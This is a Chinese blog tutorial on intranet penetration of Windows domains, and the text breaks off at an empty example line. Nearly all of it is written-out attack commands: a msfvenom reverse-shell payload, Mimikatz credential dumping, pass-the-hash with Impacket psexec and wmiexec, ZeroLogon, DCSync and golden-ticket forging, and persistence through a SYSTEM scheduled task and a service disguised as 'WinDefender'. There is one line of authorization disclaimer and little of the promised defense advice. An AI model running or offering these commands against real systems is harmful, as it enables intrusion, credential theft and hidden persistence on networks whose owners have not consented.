手把手教你如何进行内网渗透：从零基础到实战突破（非常详细）从零基础到精通，收藏这篇就够了！

最新推荐文章于 2025-05-17 16:00:52 发布

Python_chichi

最新推荐文章于 2025-05-17 16:00:52 发布

阅读量742

点赞数 20

文章标签：安全 web安全

本文链接：https://blog.csdn.net/Javachichi/article/details/148012837

版权

近年来，内网安全已成为攻防对抗的核心战场。据统计，2024年全球因内网渗透导致的数据泄露事件同比增长67%，其中超过80%的攻击通过横向移动实现全域控制。本文基于最新攻防技术与实战案例，系统化拆解内网渗透全流程，并提供可落地的防御建议。

一、环境准备：搭建安全实验环境

1.1 基础架构设计

• 靶机配置：建议使用VMware或VirtualBox搭建包含以下角色的实验环境：
• 域控制器（Windows Server 2025）
• 成员服务器（Windows 10/11）
• 开发主机（Kali Linux 2025）
• 边界防火墙（pfSense）
• 网络拓扑：采用双网卡隔离环境，外网段（NAT模式）与内网段（仅主机模式）分离，模拟真实企业架构。

1.2 工具集部署

工具类型	核心工具	功能定位
信息收集	P1soda、Nmap	主机探测与端口指纹识别
漏洞利用	Metasploit、Cobalt Strike	漏洞验证与载荷投递
横向移动	Impacket、Mimikatz	哈希传递与票据伪造
隧道代理	Frp、reGeorg	内网穿透与流量隐匿
权限维持	SharPersist、PowerSploit	后门植入与持久化控制

注意：所有工具需在授权环境中使用，禁止用于非法测试。

二、信息收集：绘制内网全景地图

2.1 主机存活探测

使用P1soda进行快速扫描，结合ICMP/TCP混合探测策略：

./p1soda scan -t 192.168.1.0/24 -m hybrid -o result.txt

通过分析响应包TTL值可初步判断操作系统类型（Windows TTL=128，Linux TTL=64）。

2.2 端口与服务识别

利用Nmap高级扫描技术：

nmap -sS -sV --script vuln -p- -T4 192.168.1.100

重点关注高危端口：

• 445/SMB：永恒之蓝漏洞利用点
• 5985/WinRM：远程命令执行入口
• 6379/Redis：未授权访问风险

2.3 域信息提取

通过PowerShell获取域环境信息：

Get-ADDomain | Select DNSRoot, DomainMode net group"Domain Admins" /domain

记录域控IP、域管理员账户及组策略版本。

三、权限提升：突破安全边界

3.1 系统漏洞利用

针对Windows系统常见提权路径：

1. 补丁比对：执行systeminfo比对漏洞库（如MS14-058、CVE-2023-21608）
1. EXP投递：使用Metasploit生成载荷：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe > exploit.exe

1. 会话建立：通过钓鱼邮件或漏洞上传触发载荷。

3.2 凭证窃取技术

使用Mimikatz提取内存凭证：

privilege::debug sekurlsa::logonpasswords

重点关注：

• NTLM Hash：用于Pass-the-Hash攻击
• Kerberos票据：黄金票据制作原料

四、横向移动：穿透内网防线

4.1 哈希传递攻击（PtH）

利用Impacket工具包执行远程命令：

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 administrator@192.168.1.100

防御突破：启用Credential Guard可阻断99%的PtH攻击。

4.2 WMI远程控制

通过wmiexec实现无文件攻击：

python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.1.100 "whoami"

优势：不落盘、无日志记录，绕过EDR监控。

4.3 域控攻陷实战

1. ZeroLogon漏洞利用：

python3 zerologon_tester.py DC01 192.168.1.10

1. 哈希导出与票据伪造：

lsadump::dcsync /domain:test.com /user:krbtgt kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-123456789 /krbtgt:aa3b435b51404eeaad3b435b51404ee /ptt

1. 全域控制验证：

Enter-PSSession-ComputerName DC01 -Credential (Get-Credential)

五、权限维持：构建持久化通道

5.1 后门植入技术

• 计划任务：创建定时启动项

schtasks /create /tn "UpdateService" /tr C:\backdoor.exe /sc hourly /mo 1 /ru SYSTEM

• 服务注册：伪装系统服务

New-Service-Name"WinDefender"-BinaryPathName"C:\backdoor.exe"

5.2 隧道搭建方案

隧道类型	工具	适用场景
HTTP隧道	reGeorg	Web服务器出网
DNS隧道	dnscat2	严格流量管控环境
ICMP隧道	Ptunnel	仅允许Ping通信
多级代理	Frp+CobaltStrike	复杂网络架构穿透
示例命令：